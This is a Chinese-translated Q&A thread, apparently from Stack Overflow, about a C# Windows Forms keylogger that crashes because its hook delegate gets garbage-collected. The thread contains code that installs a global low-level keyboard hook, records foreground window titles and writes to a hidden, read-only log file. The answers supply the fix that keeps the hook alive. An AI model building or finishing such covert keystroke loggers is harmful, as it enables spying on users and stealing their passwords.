2012-02-11 78 views
1

我一直在使用C#,Windows窗體中的鍵盤記錄器,而且我堅持了一些觀點。當我運行我的代碼時,它工作正常並記錄了20-25次擊鍵,但是之後該程序突然崩潰,這些是顯示的錯誤消息:(第一個完全絆倒我)鍵盤記錄程序崩潰

1.回調是對'karan_keylogger!karan_keylogger.Form1 + LowLevelKeyboardProc :: Invoke'類型的垃圾收集委託做出的。這可能會導致應用程序崩潰,損壞和數據丟失。在將代理傳遞給非託管代碼時,它們必須由託管應用程序保持活動狀態,直到確保它們永遠不會被調用。

2.然後它顯示「未將對象引用設置到對象的實例(IAM熟悉一個)

代碼如下:

using System; 
using System.Collections.Generic; 
using System.ComponentModel; 
using System.Data; 
using System.Drawing; 
using System.Linq; 
using System.Text; 
using System.Windows.Forms; 
using System.IO; 
using System.Security; 
using System.Security.AccessControl; 
using System.Security.Principal; 
using System.Runtime.InteropServices; 
using System.Timers; 
using System.Diagnostics; 


namespace karan_keylogger 
{ 
    public partial class Form1 : Form 
    { 
     KeysConverter kc; 
     private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam); 
     //private static LowLevelKeyboardProc keyhook = detect; 
     StreamWriter sw; 
     private const int WM_KEYDOWN = 0x0100; 
     bool shiftDown, inBetween, numLockPressed; 
     string currWindow, prevWindow,path; 
     IntPtr x; 
     [DllImport("User32.dll")] 
     public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount); 
     [DllImport("User32.dll")] 
     public static extern int GetForegroundWindow(); 
     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); 

     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     [return: MarshalAs(UnmanagedType.Bool)] 
     private static extern bool UnhookWindowsHookEx(IntPtr hhk); 

     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, 
      IntPtr wParam, IntPtr lParam); 

     [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
     private static extern IntPtr GetModuleHandle(string lpModuleName); 

     public Form1() 
     { 
      InitializeComponent(); 
      kc = new KeysConverter(); 
      path="E:\\data.txt"; 
      shiftDown = false; 
      //shiftUp = true; 
      inBetween = false; 
      numLockPressed = false; 
      currWindow = getTitle(); 
      prevWindow = currWindow; 
      File.SetAttributes(path,FileAttributes.Normal); 
      sw = new StreamWriter(path, true); 
      sw.AutoFlush = true; 
      sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"- "); 
      File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly); 
      LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect); 
      Process curProcess = Process.GetCurrentProcess(); 
      ProcessModule curModule = curProcess.MainModule; 
      //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam); 
      x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0); 
     } 

     private void Form1_FormClosing(object sender, FormClosingEventArgs e) 
     { 
      UnhookWindowsHookEx(x); 
     } 
     private string getTitle() 
     { 
      int handle = GetForegroundWindow(); 
      StringBuilder sb = new StringBuilder(1000); 
      GetWindowText(handle, sb, 1000); 
      string winText = sb.ToString(); 
      return winText; 
     } 

     private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam) 
     { 
      // logic for keystroke storing 
      return CallNextHookEx(x, ncode, wparam, lparam); 
     } 
    } 
} 

任何幫助將是非常讚賞,這是一個寵物項目!..

+2

根本沒有異常處理。添加它。 – 2012-02-11 11:35:32

+0

是的,但是在代碼中我應該添加它嗎?上面提到的錯誤顯示在Program.cs文件的行中: Application.Run(new Form1()) – 2012-02-11 11:38:21

+0

顯然,構造函數有很多代碼,調用構造函數的那一行會引發異常。 – 2012-02-11 12:25:45

回答

4

如錯誤消息所示,非託管代碼不會使託管資源保持活動狀態。您正在創建一個局部變量keyhook並將它傳遞給SetWindowHookEx(即轉換爲非託管代碼)。

然後你退出你的構造函數,keyhook變量超出了範圍,從你的代碼的角度來看,它不再被引用到任何地方,這意味着它已經準備好進行垃圾回收了。但非託管代碼將繼續使用它。當垃圾收集器啓動時,委託會丟失,並且您將收到錯誤消息。

只需將您的委託聲明爲類成員,而不是局部變量。

private LowLevelKeyboardProc keyhook; 
+0

謝謝!..它工作得很好..解釋! – 2012-02-11 12:00:05

2

使構造keyhook表單中的一員,而不是一個局部變量的

public partial class Form1: Form  
{ 
    LowLevelKeyboardProc keyhook; 

    public Form1() 
    { 
     keyhook = new LowLevelKeyboardProc(detect); 
    } 

} 
+0

謝謝!..它的工作 – 2012-02-11 11:59:00